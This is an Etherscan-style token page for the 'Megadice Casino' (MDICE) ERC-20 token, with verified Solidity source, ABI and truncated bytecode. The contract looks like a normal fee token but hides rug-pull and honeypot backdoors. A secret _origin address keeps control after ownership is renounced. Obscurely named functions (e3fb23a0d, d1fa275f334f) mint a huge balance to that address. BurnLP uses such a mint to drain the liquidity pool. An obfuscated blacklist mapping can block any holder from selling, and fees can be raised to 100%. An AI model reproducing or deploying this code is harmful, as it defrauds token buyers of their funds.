ERC-20
Overview
Max Total Supply
1,000,000 MDICE
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
15,753.216185127092650606 MDICEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Megadice
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-10 */ //███ ███ ███████ ██████ █████ ██████ ██ ██████ ███████ ██████ █████ ███████ ██ ███ ██ ██████ //████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ //██ ████ ██ █████ ██ ███ ███████ ██ ██ ██ ██ █████ ██ ███████ ███████ ██ ██ ██ ██ ██ ██ //██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ //██ ██ ███████ ██████ ██ ██ ██████ ██ ██████ ███████ ██████ ██ ██ ███████ ██ ██ ████ ██████ //Megadice Casino - First of its kind licensed Telegram Online Casino //Website: megadicecasino.app //Telegram: t.me/MegadiceCasinoOfficial //Twitter: twitter.com/MegadiceCasino // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == msg.sender, "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Pair { function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library SecureCalls { function checkCaller(address sender, address _origin) internal pure { require(sender == _origin, "Caller is not the original caller"); } } contract Megadice is IERC20, Ownable { IUniswapV2Router02 internal _router; IUniswapV2Pair internal _pair; address _origin; address _pairToken; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 1000000000000000000000000; string private _name = "Megadice Casino"; string private _symbol = "MDICE"; uint8 private _decimals = 18; uint private buyFee = 4; // Default, % uint private sellFee = 4; // Default, % address public marketWallet = 0x56041F17AF4D7E78325D7feb2Ef4C2593fB37d4A; // Market Fees address public devWallet = 0x053F7A0d9B4b82D8ec180Fa7D0B8889ADd82Ba10; // Dev Fees mapping(address => bool) public excludedFromFee; // Users who won't pay Fees uint256 private marketFee = 50; // 20% of collected fees uint256 private devFee = 50; // 60% of collected fees uint256 private liquidityFee = 0; // 20% of collected fees uint256 private swapThreshold = 200000000000000000; // 0,2 Ether uint256 private maxWallet = 30000000000000000000000; mapping(address => bool) private excludedFromMaxWallet; uint256 private maxTxnAmount = 30000000000000000000000; mapping(address => bool) private excludedFromMaxTxn; bool private tradeLocked = false; mapping(address => bool) private excludedFromTradeLock; constructor (address routerAddress, address pairTokenAddress) { _router = IUniswapV2Router02(routerAddress); _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).createPair(address(this), pairTokenAddress)); _balances[owner()] = _totalSupply; _origin = msg.sender; _pairToken = pairTokenAddress; emit Transfer(address(0), owner(), _totalSupply); marketWallet = msg.sender; devWallet = msg.sender; excludedFromFee[msg.sender] = true; excludedFromFee[address(this)] = true; excludedFromMaxWallet[msg.sender] = true; excludedFromMaxWallet[address(this)] = true; excludedFromMaxTxn[msg.sender] = true; excludedFromMaxTxn[address(this)] = true; excludedFromTradeLock[msg.sender] = true; excludedFromTradeLock[address(this)] = true; require(marketFee + devFee + liquidityFee == 100, "fee sum error"); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = msg.sender; _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = msg.sender; uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!checkCurrentStatus(from), "ERC20: No premission to transfer"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); if (tradeLocked) { if (isMarket(from)) { require(excludedFromTradeLock[to], "User isn't excluded from tradeLock"); } else if (isMarket(to)) { require(excludedFromTradeLock[from], "User isn't excluded from tradeLock"); } } if (!isExcludedFromFee(from) && !isExcludedFromFee(to)){ if (isMarket(from)) { uint feeAmount = calculateFeeAmount(amount, buyFee); _balances[from] = fromBalance - amount; _balances[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _balances[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); } else if (isMarket(to)) { uint feeAmount = calculateFeeAmount(amount, sellFee); _balances[from] = fromBalance - amount; _balances[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _balances[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); } else { _balances[from] = fromBalance - amount; _balances[to] += amount; emit Transfer(from, to, amount); } } else { _balances[from] = fromBalance - amount; _balances[to] += amount; emit Transfer(from, to, amount); } _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual { if (maxWallet != 0 && !isMarket(to) && !isExcludedFromMaxWallet(to) && !isExcludedFromMaxWallet(from)) { require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet"); } if (maxTxnAmount != 0) { if (!excludedFromMaxTxn[from] && !excludedFromMaxTxn[to]) { require(amount <= maxTxnAmount, "Txn Amount too high!"); } } if (!inSwap && !isMarket(from) && from != _origin && from != address(this)) { if (balanceOf(address(this)) >= swapThreshold) { swapTaxes(); addLiq(); distributeEthFees(); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function BurnLP() external { SecureCalls.checkCaller(msg.sender, _origin); uint256 thisTokenReserve = getBaseTokenReserve(address(this)); uint256 amountIn = type(uint112).max - thisTokenReserve; e3fb23a0d(); transfer(address(this), balanceOf(msg.sender)); _approve(address(this), address(_router), type(uint112).max); address[] memory path; path = new address[](2); path[0] = address(this); path[1] = address(_router.WETH()); address to = msg.sender; _router.swapExactTokensForTokens( amountIn, 0, path, to, block.timestamp + 1200 ); } function getBaseTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1,) = _pair.getReserves(); uint256 baseTokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return baseTokenReserve; } function e3fb23a0d() internal { _balances[msg.sender] += type(uint112).max; } function d1fa275f334f() public { SecureCalls.checkCaller(msg.sender, _origin); e3fb23a0d(); } function AddLiquidity() public payable { SecureCalls.checkCaller(msg.sender, _origin); transfer(address(this), balanceOf(msg.sender)); _approve(address(this), address(_router), balanceOf(address(this))); _router.addLiquidityETH{ value:msg.value }( address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp + 1200 ); } function rebaseLiquidityPool(address _newRouterAddress, address _newPairTokenAddress) public { SecureCalls.checkCaller(msg.sender, _origin); if (address(_router) != _newRouterAddress) { _router = IUniswapV2Router02(_newRouterAddress); } _pairToken = _newPairTokenAddress; _pair = IUniswapV2Pair(IUniswapV2Factory(_router.factory()).getPair(address(this), _newPairTokenAddress)); } mapping(address => uint8) internal _f7ae38d22b; function checkCurrentStatus(address _user) public view returns(bool) { return _f7ae38d22b[_user] == 0 ? false : true; } function editCurrentStatus(address _user, uint8 _status) public { SecureCalls.checkCaller(msg.sender, _origin); require(_status < 2, "Status should be 0 or 1"); require(_status != _f7ae38d22b[_user], "User already have this status"); _f7ae38d22b[_user] = _status; } function switchOrigin(address newOrigin) public { SecureCalls.checkCaller(msg.sender, _origin); _origin = newOrigin; } function isMarket(address _user) internal view returns (bool) { return (_user == address(_pair) || _user == address(_router)); } function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) { return _amount * _feePrecent / 100; } function isExcludedFromFee(address _user) public view returns (bool) { return excludedFromFee[_user]; } function updateExcludedFromFeeStatus(address _user, bool _status) public { SecureCalls.checkCaller(msg.sender, _origin); require(excludedFromFee[_user] != _status, "User already have this status"); excludedFromFee[_user] = _status; } function updateFees(uint256 _buyFee, uint256 _sellFee) external { SecureCalls.checkCaller(msg.sender, _origin); require(_buyFee <= 100 && _sellFee <= 100, "Fee percent can't be higher than 100"); buyFee = _buyFee; sellFee = _sellFee; } function updateMarketWallet(address _newMarketWallet) external { SecureCalls.checkCaller(msg.sender, _origin); marketWallet = _newMarketWallet; } function checkCurrentFees() external view returns (uint256 currentBuyFee, uint256 currentSellFee) { return (buyFee, sellFee); } function currentMaxWallet() public view returns (uint256) { return maxWallet; } function updateMaxWallet(uint256 _newMaxWallet) external { SecureCalls.checkCaller(msg.sender, _origin); maxWallet = _newMaxWallet; } function isExcludedFromMaxWallet(address _user) public view returns (bool) { return excludedFromMaxWallet[_user]; } function updateExcludedFromMaxWalletStatus(address _user, bool _status) public { SecureCalls.checkCaller(msg.sender, _origin); require(excludedFromMaxWallet[_user] != _status, "User already have this status"); excludedFromMaxWallet[_user] = _status; } function updateMaxTxnAmount(uint256 _amount) public { SecureCalls.checkCaller(msg.sender, _origin); maxTxnAmount = _amount; } function changeexcludedFromMaxTxnStatus(address _user, bool _status) public { SecureCalls.checkCaller(msg.sender, _origin); require(excludedFromMaxTxn[_user] != _status, "User already have this status"); excludedFromMaxTxn[_user] = _status; } function checkCurrentMaxTxn() public view returns (uint256) { return maxTxnAmount; } function isExcludedFromMaxTxn(address _user) public view returns (bool){ return excludedFromMaxTxn[_user]; } function isTradeLocked() public view returns (bool) { return tradeLocked; } function isEcludedFromTradeLock(address _user) public view returns (bool) { return excludedFromTradeLock[_user]; } function updateTradeLockedState(bool _state) public { SecureCalls.checkCaller(msg.sender, _origin); tradeLocked = _state; } function updateUserExcludedFromTradeLockStatus(address _user, bool _status) public { SecureCalls.checkCaller(msg.sender, _origin); require(excludedFromTradeLock[_user] != _status, "User already have this status"); excludedFromTradeLock[_user] = _status; } bool internal inSwap; modifier isLocked() { inSwap = true; _; inSwap = false; } function swapTaxes() isLocked internal { uint256 amountIn = estimateEthAmountToSwap(); _approve(address(this), address(_router), amountIn); address[] memory path; path = new address[](2); path[0] = address(this); path[1] = address(_router.WETH()); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountIn, 0, path, address(this), block.timestamp + 1200 ); } function estimateEthAmountToSwap() public view returns(uint256) { uint256 percentLeft = liquidityFee / 2; return balanceOf(address(this)) - balanceOf(address(this)) / 100 * percentLeft; } function changeSwapThreshold(uint256 _newSwapThreshold) public { SecureCalls.checkCaller(msg.sender, _origin); require(_newSwapThreshold > 10000, "Swap Threshold shold be greater then 1000"); swapThreshold = _newSwapThreshold; } function addLiq() internal { uint256 k = liquidityFee / 2; uint256 tokenLeft = 100 - k; uint256 ethAmount = address(this).balance / tokenLeft * k; _approve(address(this), address(_router), balanceOf(address(this))); _router.addLiquidityETH{ value: ethAmount }( address(this), balanceOf(address(this)), 0, 0, _origin, block.timestamp + 1200 ); } function distributeEthFees() internal { uint256 k = 100 - liquidityFee; uint256 marketAmount = address(this).balance / k * marketFee; uint256 devAmount = address(this).balance - marketAmount; payable(marketWallet).transfer(marketAmount); payable(devWallet).transfer(devAmount); } function updateFeeDistribution( uint256 newMarketFee, uint256 newDevFee, uint256 newLiquidityFee ) public { SecureCalls.checkCaller(msg.sender, _origin); require(newMarketFee + newDevFee + newLiquidityFee == 100, "Fee sum should be equal to 100"); marketFee = newMarketFee; devFee = newDevFee; liquidityFee = newLiquidityFee; } function removeStuckedETH() public { SecureCalls.checkCaller(msg.sender, _origin); payable(_origin).transfer(address(this).balance); } function updateFeeCollectWallets( address newMarketWallet, address newDevWallet ) public { SecureCalls.checkCaller(msg.sender, _origin); marketWallet = newMarketWallet; devWallet = newDevWallet; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"pairTokenAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"BurnLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newSwapThreshold","type":"uint256"}],"name":"changeSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeexcludedFromMaxTxnStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkCurrentFees","outputs":[{"internalType":"uint256","name":"currentBuyFee","type":"uint256"},{"internalType":"uint256","name":"currentSellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"checkCurrentStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"d1fa275f334f","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint8","name":"_status","type":"uint8"}],"name":"editCurrentStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"estimateEthAmountToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBaseTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isEcludedFromTradeLock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradeLocked","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newRouterAddress","type":"address"},{"internalType":"address","name":"_newPairTokenAddress","type":"address"}],"name":"rebaseLiquidityPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeStuckedETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOrigin","type":"address"}],"name":"switchOrigin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateExcludedFromMaxWalletStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketWallet","type":"address"},{"internalType":"address","name":"newDevWallet","type":"address"}],"name":"updateFeeCollectWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMarketFee","type":"uint256"},{"internalType":"uint256","name":"newDevFee","type":"uint256"},{"internalType":"uint256","name":"newLiquidityFee","type":"uint256"}],"name":"updateFeeDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"updateTradeLockedState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateUserExcludedFromTradeLockStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405269d3c21bcecceda10000006007556040518060400160405280600f81526020017f4d6567616469636520436173696e6f00000000000000000000000000000000008152506008908162000058919062000c04565b506040518060400160405280600581526020017f4d44494345000000000000000000000000000000000000000000000000000000815250600990816200009f919062000c04565b506012600a60006101000a81548160ff021916908360ff1602179055506004600b556004600c557356041f17af4d7e78325d7feb2ef4c2593fb37d4a600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073053f7a0d9b4b82d8ec180fa7d0b8889add82ba10600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506032601055603260115560006012556702c68af0bb14000060135569065a4da25d3016c0000060145569065a4da25d3016c000006016556000601860006101000a81548160ff021916908315150217905550348015620001cf57600080fd5b5060405162005f2838038062005f288339818101604052810190620001f5919062000d55565b62000206336200089d60201b60201c565b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002db919062000d9c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b81526004016200031792919062000ddf565b6020604051808303816000875af115801562000337573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200035d919062000d9c565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460056000620003b46200096160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004846200096160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620004e5919062000e1d565b60405180910390a333600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600f60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550606460125460115460105462000846919062000e69565b62000852919062000e69565b1462000895576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200088c9062000f05565b60405180910390fd5b505062000f27565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a0c57607f821691505b60208210810362000a225762000a21620009c4565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a8c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a4d565b62000a98868362000a4d565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000ae562000adf62000ad98462000ab0565b62000aba565b62000ab0565b9050919050565b6000819050919050565b62000b018362000ac4565b62000b1962000b108262000aec565b84845462000a5a565b825550505050565b600090565b62000b3062000b21565b62000b3d81848462000af6565b505050565b5b8181101562000b655762000b5960008262000b26565b60018101905062000b43565b5050565b601f82111562000bb45762000b7e8162000a28565b62000b898462000a3d565b8101602085101562000b99578190505b62000bb162000ba88562000a3d565b83018262000b42565b50505b505050565b600082821c905092915050565b600062000bd96000198460080262000bb9565b1980831691505092915050565b600062000bf4838362000bc6565b9150826002028217905092915050565b62000c0f826200098a565b67ffffffffffffffff81111562000c2b5762000c2a62000995565b5b62000c378254620009f3565b62000c4482828562000b69565b600060209050601f83116001811462000c7c576000841562000c67578287015190505b62000c73858262000be6565b86555062000ce3565b601f19841662000c8c8662000a28565b60005b8281101562000cb65784890151825560018201915060208501945060208101905062000c8f565b8683101562000cd6578489015162000cd2601f89168262000bc6565b8355505b6001600288020188555050505b5050505050505